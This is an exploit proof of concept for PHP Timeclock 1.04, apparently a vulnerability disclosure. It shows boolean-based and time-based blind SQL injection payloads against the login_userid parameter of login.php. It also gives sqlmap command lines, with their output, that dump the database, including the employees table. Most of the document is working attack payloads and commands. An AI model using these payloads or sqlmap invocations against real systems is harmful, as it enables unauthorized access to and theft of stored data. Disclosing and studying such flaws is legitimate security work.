  # Vendor Homepage: http://timeclock.sourceforge.net
  # Software Link: https://sourceforge.net/projects/timeclock/files/PHP%20Timeclock/PHP%20Timeclock%201.04/
  # Version: 1.04
  # Tested on: PHP 4.4.9/5.3.3 Apache 2.2 MySql 4.1.22/5
  
  
  Description: PHP Timeclock is vulnerable to both Boolean and Time Based SQL Injection on login.php via the login_userid parameter. This PoC shows how SQLmap can be used to exploit this vulnerability to dump database contents
  
  Boolean Based Payload: user' RLIKE (SELECT (CASE WHEN (8535=8535) THEN 0x75736572 ELSE 0x28 END))-- QwMo&login_password=pass
  Time Based Payload: user' AND (SELECT 4247 FROM (SELECT(SLEEP(5)))ztHm) AND 'WHmv'='WHmv&login_password=pass
  
  
  Steps to reproduce:
  1. Run sqlmap against a instance of PHP Timeclock
  2. Follow the instructions below for specific versions of MySQL
  
  
  MySQL >= 5.0.12: 
  
  $ sqlmap -u http://localhost/login.php --method POST --data "login_userid=user&login_password=pass" -p login_userid --not-string="Warning" --dbms=MySQL --technique=TB --current-db
  ---
  Parameter: login_userid (POST)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: login_userid=user' AND (SELECT 4247 FROM (SELECT(SLEEP(5)))ztHm) AND 'WHmv'='WHmv&login_password=pass
  ---
  
  
  MySQL < 5: On versions using MySQL < 5, table names must be included as arguments as information_schema was not introduced into MySQL yet.
  
  $ sqlmap -u http://localhost/login.php --method POST --data "login_userid=user&login_password=pass" -p login_userid --not-string="Warning" --technique=B -D timeclock -T employees, -C empfullname --dump --dbms=MySQL -v 
  ---
  Parameter: login_userid (POST)
  Type: boolean-based blind
  Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
  Payload: login_userid=user' RLIKE (SELECT (CASE WHEN (8535=8535) THEN 0x75736572 ELSE 0x28 END))-- QwMo&login_password=pass
